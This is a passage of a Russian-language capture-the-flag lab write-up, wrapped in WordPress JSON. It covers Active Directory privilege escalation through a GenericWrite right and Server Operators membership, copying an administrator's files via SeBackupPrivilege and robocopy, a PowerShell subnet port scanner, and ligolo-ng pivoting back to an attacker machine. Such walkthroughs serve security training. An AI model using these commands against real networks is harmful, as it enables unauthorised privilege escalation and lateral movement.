\u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0438\u0437\u0443\u0447\u0430\u044f \u0432\u044b\u0432\u043e\u0434 winPeas, Sharphound, PowerUP \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u0442\u0438\u043b\u0438\u0442\u044b, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044f \u043d\u0435\u0432\u0435\u0440\u043d\u044b\u0435 \u0432\u0435\u043a\u0442\u043e\u0440\u0430 \u0430\u0442\u0430\u043a.\u041d\u0430 \u0431\u0443\u0434\u0443\u0449\u0435\u0435 \u043d\u0443\u0436\u043d\u043e \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u0435\u0435 \u0438\u0437\u0443\u0447\u0430\u0442\u044c \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0438 \u0433\u0440\u0443\u043f\u043f\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0435\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u043e\u043d\u0438 \u043f\u0443\u0441\u0442\u044b\u0435\u2026\u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u043d\u0443\u0436\u043d\u043e \u0433\u043b\u044f\u043d\u0443\u0442\u044c, \u043a\u0430\u043a\u0438\u0435 \u043f\u0440\u0430\u0432\u0430 \u0435\u0441\u0442\u044c \u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\u041f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f web-srv\u0421 \u0442\u0430\u043a\u0438\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438, \u043e\u0441\u043e\u0431\u043e \u043d\u0435 \u0440\u0430\u0437\u0433\u043e\u043d\u0438\u0448\u044c\u0441\u044f, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0443 \u0434\u0430\u043b\u0435\u0435.\u0417\u0430\u0433\u0440\u0443\u0437\u0438\u043b sharphound \u0438 \u0441\u043e\u0431\u0440\u0430\u043b \u0438\u043d\u0444\u0443 \u043e \u0441\u0438\u0441\u0442\u0435\u043c\u0435, bloodhound \u043e\u0442\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0441\u044f \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c, \u0432 \u043c\u043e\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435.alt text\u0418\u0437 \u0432\u044b\u0432\u043e\u0434\u0430, \u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u043c\u044b \u0438\u043c\u0435\u0435\u043c \u043f\u0440\u0430\u0432\u043e GenericWrite \u043d\u0430 \u0433\u0440\u0443\u043f\u043f\u0443 Server Operators.\u0414\u043e\u0431\u0430\u0432\u0438\u043c \u0441\u0435\u0431\u044f \u0432 \u0433\u0440\u0443\u043f\u043f\u0443 Server Operators.Add-ADGroupMember -Identity «Server Operators» -Members «web-srv»\u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043e\u0442\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0435\u0440\u0435\u043b\u043e\u0433\u0438\u043d\u0438\u043c\u0441\u044f \u0441 \u0442\u0435\u043c\u0438 \u0436\u0435 \u043a\u0440\u0435\u0434\u0430\u043c\u0438 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0435\u0449\u0435 \u0440\u0430\u0437.alt text\u0417\u0434\u0435\u0441\u044c \u0443\u0436\u0435 \u0435\u0441\u0442\u044c \u0433\u0434\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f, \u0435\u0441\u0442\u044c \u043a\u0440\u0443\u0442\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 SeBackupprivilege and SeRestoreprivilege, \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c\u0441\u044f \u0443\u0436\u0435 \u0434\u043e NT Authority system.\u041e\u0434\u043d\u0430\u043a\u043e \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0434\u0430\u043d\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u044b, \u044f \u043d\u0435 \u0431\u0443\u0434\u0443 \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c\u0441\u044f \u0434\u043e \u043f\u0440\u0430\u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043c\u043d\u0435 \u044d\u0442\u043e \u043d\u0435 \u043d\u0443\u0436\u043d\u043e. \u0421 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 SeBackupPrivillege \u044f \u043f\u0440\u043e\u0441\u0442\u043e \u043c\u043e\u0433\u0443 \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u043f\u0430\u043f\u043a\u0438 Administrator\/Desktop \u0432 \u0441\u0432\u043e\u044e \u0440\u0430\u0431\u043e\u0447\u0443\u044e \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\u042f \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0441\u044c \u0443\u0442\u0438\u043b\u0438\u0442\u043e\u0439 Robocopy (Robust File Copy).robocopy \/b C:\\Users\\Administrator\\Desktop C:\\Users\\web-srv\\Desktop \/E\u0424\u043b\u0430\u0433 \/b (Backup mode), \/E \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u0440\u0435\u043a\u0443\u0440\u0441\u0438\u0432\u043d\u043e\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u0441\u0435\u0445 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0445 \u043f\u0430\u043f\u043e\u043a.\u0422\u0435\u043f\u0435\u0440\u044c \u0432\u0441\u0435, \u0447\u0442\u043e \u043b\u0435\u0436\u0430\u043b\u043e \u0432 \u043f\u0430\u043f\u043a\u0435 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430, \u0433\u0434\u0435 \u043d\u0430\u043c \u0431\u044b\u043b \u0434\u043e\u0441\u0442\u0443\u043f \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d, \u043b\u0435\u0436\u0438\u0442 \u043d\u0430 \u043d\u0430\u0448\u0435\u043c \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u0441\u0442\u043e\u043b\u0435 \u0438 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0441\u043f\u043e\u043a\u043e\u0439\u043d\u043e \u0447\u0438\u0442\u0430\u0442\u044c \u0432\u0442\u043e\u0440\u043e\u0439 \u0444\u043b\u0430\u0433.\u041f\u043e\u0438\u0441\u043a \u0442\u0440\u0435\u0442\u044c\u0435\u0433\u043e \u0444\u043b\u0430\u0433\u0430\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0432\u0442\u043e\u0440\u043e\u0439 \u0444\u043b\u0430\u0433 \u0432\u0437\u044f\u0442, \u0430 \u043d\u0443\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0435\u0449\u0435 4, \u0442\u043e \u044f \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u043b, \u0447\u0442\u043e \u0435\u0441\u0442\u044c \u0435\u0449\u0435 \u043e\u0434\u0438\u043d, \u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0438 \u043d\u0435 \u043e\u0434\u0438\u043d \u0445\u043e\u0441\u0442, \u0432 \u0434\u0440\u0443\u0433\u043e\u0439 \u043f\u043e\u0434\u0441\u0435\u0442\u0438.\u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u0433\u043b\u044f\u043d\u0435\u043c \u043d\u0430 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b.Ethernet adapter Ethernet:   Connection-specific DNS Suffix  . :   IPv4 Address. . . . . . . . . . . : 10.10.10.211   Subnet Mask . . . . . . . . . . . : 255.255.255.0   Default Gateway . . . . . . . . . : 10.10.10.1Ethernet adapter Ethernet 2:   Connection-specific DNS Suffix  . :   IPv4 Address. . . . . . . . . . . : 10.10.20.5   Subnet Mask . . . . . . . . . . . : 255.255.255.0   Default Gateway . . . . . . . . . : 10.10.20.1\u041a\u0430\u043a \u0432\u0438\u0434\u043d\u043e, \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u0435\u0449\u0435 \u043e\u0434\u0438\u043d \u0430\u0434\u0430\u043f\u0442\u0435\u0440 \u0441 \u0434\u0440\u0443\u0433\u043e\u0439 \u043f\u043e\u0434\u0441\u0435\u0442\u044c\u044e, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442 \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0445\u043e\u0441\u0442\u044b.\u0417\u0434\u0435\u0441\u044c \u044f \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0441\u044f \u0441 \u0442\u043e\u0439 \u0436\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439, \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0434\u0441\u0435\u0442\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 nmap. \u042f \u043d\u0435 \u0437\u043d\u0430\u043b, \u043f\u0440\u043e \u0444\u043b\u0430\u0433 -unprivileged \u0438 \u0443 \u043c\u0435\u043d\u044f \u0431\u044b\u043b\u0438 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u043d\u0435\u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0432\u0441\u044f \u043f\u043e\u0434\u0441\u0435\u0442\u044c \u0431\u044b\u043b\u0430 \u0432 \u0441\u0442\u0430\u0442\u0443\u0441\u0435 UP.\u041d\u043e \u044f \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u043b \u043c\u0430\u0448\u0438\u043d\u0443 Borderlands \u043d\u0430 THM \u0438 \u0442\u0430\u043c \u044d\u0442\u0443 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u043e\u0431\u0445\u043e\u0434\u0438\u043b\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043a\u0430\u043d\u0435\u0440\u0430 \u043d\u0430 \u043f\u0438\u0442\u043e\u043d\u0435, \u0447\u0435\u043c \u044f \u0438 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f.\u041f\u0440\u044f\u043c\u043e \u0438\u0437 evil-winrm \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u0441\u043a\u0430\u043d.$subnet = «10.10.20.»$targets = 1..254 | ForEach-Object { «$subnet$_» } $ports = @(80) foreach($t in $targets){    foreach($p in $ports){        $tcp = New-Object System.Net.Sockets.TcpClient        $r = $tcp.BeginConnect($t,$p,$null,$null)                if($r.AsyncWaitHandle.WaitOne(200,$false) -and $tcp.Connected){            «$t`:$p OPEN»        }                $tcp.Close()    }}\u0412\u043e\u0442 \u0442\u0430\u043a\u0438\u043c \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c, \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u0443\u044e \u043f\u043e\u0434\u0441\u0435\u0442\u044c, \u0441 \u043b\u044e\u0431\u044b\u043c \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e\u043c \u043f\u043e\u0440\u0442\u043e\u0432. \u042d\u0442\u043e\u0442 \u0441\u043a\u0430\u043d\u0435\u0440 \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u043c\u0435\u0434\u043b\u0435\u043d\u043d\u0435\u0435, \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u043e\u043d \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. \u041e\u0434\u043d\u0430\u043a\u043e \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f nmap \u0438\u043b\u0438 rustscan.\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0441\u043a\u0430\u043d\u0430 \u043f\u043e\u0440\u0442\u043e\u0432\u0425\u043e\u0441\u0442, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d. \u041f\u0440\u0438\u0448\u043b\u043e \u0432\u0440\u0435\u043c\u044f, \u043f\u0438\u0432\u043e\u0442\u0438\u043d\u0433\u0430.\u041f\u0438\u0432\u043e\u0442\u0438\u043d\u0433 \u0438 \u0442\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u0427\u0442\u043e\u0431\u044b \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0441 \u0434\u0440\u0443\u0433\u043e\u0439 \u043f\u043e\u0434\u0441\u0435\u0442\u044c\u044e, \u0431\u0443\u0434\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c ligolo-ng.\u0423 \u0441\u0435\u0431\u044f \u043f\u043e\u0434\u043d\u0438\u043c\u0430\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440.sudo ligolo-proxy -selfcert\u041d\u0430 windows \u043c\u0430\u0448\u0438\u043d\u0443 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c \u043a\u043b\u0438\u0435\u043d\u0442 \u043b\u0438\u0433\u043e\u043b\u043e \u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u0441\u044f \u043a \u043d\u0430\u0448\u0435\u0439 \u043a\u0430\u043b\u0438..\\ligolo-windows.exe -connect 10.20.10.3:11601 -ignore-cert\u041f\u043e\u0434\u043d\u0438\u043c\u0430\u0435\u043c ligolo-ng \u0441\u0435\u0440\u0432\u0435\u0440\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043a\u043e\u043d\u043d\u0435\u043a\u0442, \u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c autoroute, \u0441\u043e\u0437\u0434\u0430\u0435\u043c \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c. \u0422\u0435\u043f\u0435\u0440\u044c \u043c\u043e\u0436\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u0447\u0430\u0442\u044c\u0441\u044f \u0434\u043e \u043d\u043e\u0432\u043e\u0433\u043e \u0445\u043e\u0441\u0442\u0430 \u043f\u0440\u044f\u043c\u043e \u0438\u0437 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0442\u0430\u043c \u0431\u044b\u043b 80 \u043f\u043e\u0440\u0442.\u0425\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0435 \u0431\u0430\u043d\u043a\u0430 \u0432\u0435\u0431\u0418\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u0431\u044b\u043b\u043e \u043d\u0435\u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0447\u0442\u043e \u0441 \u044d\u0442\u0438\u043c \u0434\u0435\u043b\u0430\u0442\u044c \u0438 \u043a\u0430\u043a \u043f\u043e\u0434\u0431\u0438\u0440\u0430\u0442\u044c \u044d\u0442\u043e\u0442 \u043a\u043e\u0434. \u042f \u043f\u043e\u0444\u0430\u0437\u0438\u043b \u0438 \u043d\u0430\u0448\u0435\u043b \u0444\u0430\u0439\u043b status.txt, \u043d\u043e \u043e\u043d \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043f\u0443\u0441\u0442\u043e\u0439, \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u043f\u0435\u0440\u0435\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u043b \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0443, steghid\u2019\u043e\u043c \u0438 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0443\u0442\u0438\u043b\u0438\u0442\u0430\u043c\u0438, \u043d\u043e \u043d\u0438\u0447\u0435\u0433\u043e \u043f\u043e\u0445\u043e\u0436\u0435\u0433\u043e \u043d\u0430 pin \u043d\u0435 \u0431\u044b\u043b\u043e.\u0427\u0435\u0440\u0435\u0437 \u0431\u0443\u0440\u043f…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-495691","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/495691","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=495691"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/495691\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=495691"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=495691"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=495691"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}